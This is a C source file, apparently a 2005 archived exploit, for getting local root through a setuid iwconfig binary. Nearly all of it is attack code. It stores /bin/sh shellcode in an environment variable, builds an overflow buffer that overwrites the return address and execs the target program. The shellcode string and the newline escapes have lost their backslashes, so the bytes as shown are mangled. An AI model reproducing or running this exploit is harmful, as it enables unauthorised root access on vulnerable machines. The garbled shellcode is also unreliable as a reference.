// (if the iwconfig executable is setuid) /str0ke

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 */
char shellcode[]=
                 "x31xc0x31xdbx50x68x2fx2f"
                 "x73x68x68x2fx62x69x6ex89"
                 "xe3x50x53x89xe1x31xd2xb0"
                 "x0bx51x52x55x89xe5x0fx34"
                 "x31xc0x31xdbxfexc0x51x52"
                 "x55x89xe5x0fx34";

int main(int argc,char **argv){
  char buf[96];
  long esp, *addr_ptr;
  unsigned long ret;
  int i, offset;
  unsigned long sp(void)
  { __asm__("movl %esp, %eax");}
  char *prog[]={argv[1],buf,NULL};
  char *env[]={"3v1lsh3ll0=",shellcode,NULL};

  if (argc >= 2) {
    printf("n*********************************************n");
    printf("   iwconfig Version 26 Localroot Exploit    n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      n");
    printf("*********************************************nn");
  } else {
    printf("n*********************************************n");
    printf("   iwconfig Version 26 Localroot Exploit    n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      n");
    printf("*********************************************nn");
    printf("n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>nn");
    return 1;
    }

  offset = 0;
  esp = sp();
  ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
  printf("[~] S-p.ESP     : 0x%xn", esp);
  printf("[~] O-F.ESP     : 0x%xn", offset);
  printf("[~] Return Addr : 0x%xnn", ret);

  memset(buf,0x41,sizeof(buf));
  memcpy(&buf[92],&ret,4);

  execve(prog[0],prog,env);

 }

// www.Syue.com [2005-09-14]